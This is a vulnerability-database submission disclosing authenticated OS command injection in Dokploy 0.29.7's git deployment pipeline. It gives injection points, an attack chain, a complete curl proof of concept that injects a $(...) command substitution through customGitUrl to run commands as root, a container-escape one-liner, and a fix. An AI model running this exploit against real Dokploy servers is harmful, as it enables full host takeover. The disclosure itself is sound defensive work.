| Título | Dokploy 0.29.7 OS Command Injection |
|---|
| Descripción | Authenticated Remote Code Execution via Shell Command Injection in the Deployment Pipeline (git URL / branch / Docker credentials).
Affected: Dokploy v0.29.7 (dokploy/dokploy:latest), source at commit c968a275.
CWE-78 (OS Command Injection). CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Critical).
Privileges: any authenticated org member with service:create (application create/edit).
Status: validated PoC, command executed as uid=0(root) on the orchestrator.
SUMMARY
Dokploy builds shell commands with JavaScript template literals and runs them via child_process.exec() (through /bin/sh -c). User-supplied branch names, repository URLs, and Docker registry credentials are interpolated directly into these commands without escaping. A shEscape() helper exists in services/registry.ts but is not applied to the deployment paths.
ROOT CAUSE
packages/server/src/utils/process/execAsync.ts:10 — execAsyncBase = util.promisify(exec) (node child_process.exec -> /bin/sh -c). A non-shell execFileAsync exists in the same file but the deploy pipeline uses execAsync exclusively.
INJECTION POINTS (unescaped ${variable} interpolation)
- Custom Git: packages/server/src/utils/providers/git.ts:81 — git clone --branch ${customGitBranch} ... ${customGitUrl} ${outputPath}
- GitHub: packages/server/src/utils/providers/github.ts:170 — git clone --branch ${branch} ... ${cloneUrl} ${outputPath}
- GitLab: packages/server/src/utils/providers/gitlab.ts:155 — git clone --branch ${gitlabBranch} ... ${cloneUrl} ${outputPath}
- Bitbucket: packages/server/src/utils/providers/bitbucket.ts:128 — git clone --branch ${bitbucketBranch} ... ${cloneUrl} ${outputPath}
- Docker login: packages/server/src/utils/providers/docker.ts:16 — echo "${password}" | docker login --username "${username}" --password-stdin "${registryUrl}"
- GIT_SSH_COMMAND: packages/server/src/utils/providers/git.ts:76,79 — ssh -i /tmp/id_rsa -p ${port} -o UserKnownHostsFile=${knownHostsPath}
The branch fields are regex-validated (VALID_BRANCH_REGEX = /^[a-zA-Z0-9._\-/]+$/), so the cleanest reproduced sink is customGitUrl, which has NO regex (plain z.string() in db/schema/application.ts:506; only deploy-time gate is isHttpOrHttps() = ^https?://, a prefix check). Docker username/password/registryUrl and SSH port/knownHostsPath are likewise unescaped.
shEscape() EXISTS BUT UNUSED HERE
packages/server/src/services/registry.ts:14 defines shEscape(); applied to registry credentials in safeDockerLoginCommand() but never to the git deployment paths above.
IMPACT
An authenticated attacker with application create/edit privileges achieves RCE on the Dokploy server by injecting shell metacharacters into branch/URL/credential fields. The shell runs as container root; because Dokploy mounts the Docker socket by design, this escalates to full host compromise (e.g. docker run -v /:/host --privileged busybox chroot /host sh). The core issue is the missing shell escaping, not the Docker socket.
ATTACK CHAIN
1. Log into Dokploy (fresh install: first user becomes owner).
2. Create an application with source type = git (custom git).
3. Set customGitUrl to a value starting with http(s):// (to pass isHttpOrHttps) that embeds a command substitution, e.g. http://127.0.0.1/x$(id>/tmp/RCE_DOKPLOY).
4. Deploy (or call application.deploy).
5. The pipeline runs: git clone --branch main --depth 1 --progress http://127.0.0.1/x$(id>/tmp/RCE_DOKPLOY) /etc/dokploy/applications/.../code — the $(...) executes as root.
Use $(...) command substitution, not ;cmd;# — a trailing # comments out the rest of the if...then...fi block and causes a parse error before execution.
WHY NOT UNAUTHENTICATED
apps/dokploy/pages/api/deploy/[refreshToken].ts rejects mismatched branches before deploying (branch !== application.customGitBranch -> 301 "Branch Not Match"). An injection payload in the branch never equals a real configured ref, so the webhook path cannot be abused unauthenticated. This is an authenticated vulnerability (PR:L).
PROOF OF CONCEPT (validated)
TARGET=http://localhost:3000
curl -s -c c.txt -X POST $TARGET/api/auth/sign-up/email -H 'content-type: application/json' -d '{"name":"admin","email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null
curl -s -c c.txt -X POST $TARGET/api/auth/sign-in/email -H 'content-type: application/json' -d '{"email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null
curl -s -b c.txt -X POST $TARGET/api/trpc/project.create -H 'content-type: application/json' -d '{"json":{"name":"poc","description":"poc"}}' >/dev/null
ENV=$(curl -s -b c.txt $TARGET/api/trpc/project.all | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"][0]["environments"][0]["environmentId"])')
AID=$(curl -s -b c.txt -X POST $TARGET/api/trpc/application.create -H 'content-type: application/json' -d "{\"json\":{\"name\":\"rceapp\",\"appName\":\"rceapp\",\"environmentId\":\"$ENV\"}}" | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"]["applicationId"])')
curl -s -b c.txt -X POST $TARGET/api/trpc/application.saveGitProvider -H 'content-type: application/json' -d "{\"json\":{\"applicationId\":\"$AID\",\"customGitUrl\":\"http://127.0.0.1/x\$(id>/tmp/RCE_DOKPLOY)\",\"customGitBranch\":\"main\",\"customGitBuildPath\":\"/\",\"watchPaths\":[],\"enableSubmodules\":false,\"customGitSSHKeyId\":null}}"
curl -s -b c.txt -X POST $TARGET/api/trpc/application.deploy -H 'content-type: application/json' -d "{\"json\":{\"applicationId\":\"$AID\"}}"
sleep 18 && docker exec dokploy cat /tmp/RCE_DOKPLOY
RESULT: uid=0(root) gid=0(root) groups=0(root) — confirmed RCE as root on the control-plane host.
SUGGESTED FIX
Apply the existing shEscape() to all user-supplied values in the git/docker deployment paths (customGitUrl, cloneUrl, registryUrl, username, password, port, knownHostsPath), or switch these paths to execFile/execFileAsync to avoid /bin/sh -c entirely. |
|---|
| Fuente | ⚠️ https://github.com/Dokploy/dokploy/blob/c968a2755e85bf76fc97eb6ba15e23c4ff65a5c7/packages/server/src/utils/providers/git.ts#L81 |
|---|
| Usuario | Gabriel Alves (UID 99209) |
|---|
| Sumisión | 2026-07-04 05:34 (hace 2 meses) |
|---|
| Moderación | 2026-08-31 14:27 (2 months later) |
|---|
| Estado | Duplicado |
|---|
| Entrada de VulDB | 387869 [Dokploy hasta 0.29.12 Git Provider git.ts cloneGitRepository customGitUrl/customGitBranch escalada de privilegios] |
|---|
| Puntos | 0 |
|---|